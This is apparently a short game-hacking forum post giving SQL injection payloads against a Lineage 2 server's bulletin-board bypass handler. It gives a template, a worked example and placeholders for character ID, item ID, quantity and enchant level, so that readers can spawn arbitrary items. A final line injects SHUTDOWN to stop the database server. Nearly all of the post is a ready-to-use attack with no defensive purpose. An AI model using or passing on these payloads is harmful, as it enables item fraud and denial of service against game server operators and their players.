Except /block there is onother way of sql injection thru BBS. These infos are coming from Maddeamon and all thanks go to him!
Edit your Help.htm and try these one:
bypass -h _bbsaddfav_'declare @s char(4)select @s='lin'+char(95)select_exec(@s+'CreateItem ''A'_B_C_D_0_0_'0'',0,1')--
A = Char ID (You can find it through L2Logger)
B = Item ID Item ID List
C = Quantity
D = Groove
Example: bypass -h _bbsaddfav_'declare @s char(4)select @s='lin'+char(95)select_exec(@s+'CreateItem ''579839'_287_1_30_0_0_'0'',0,1')--
bypass -h _bbsaddfav_'SHUTDOWN--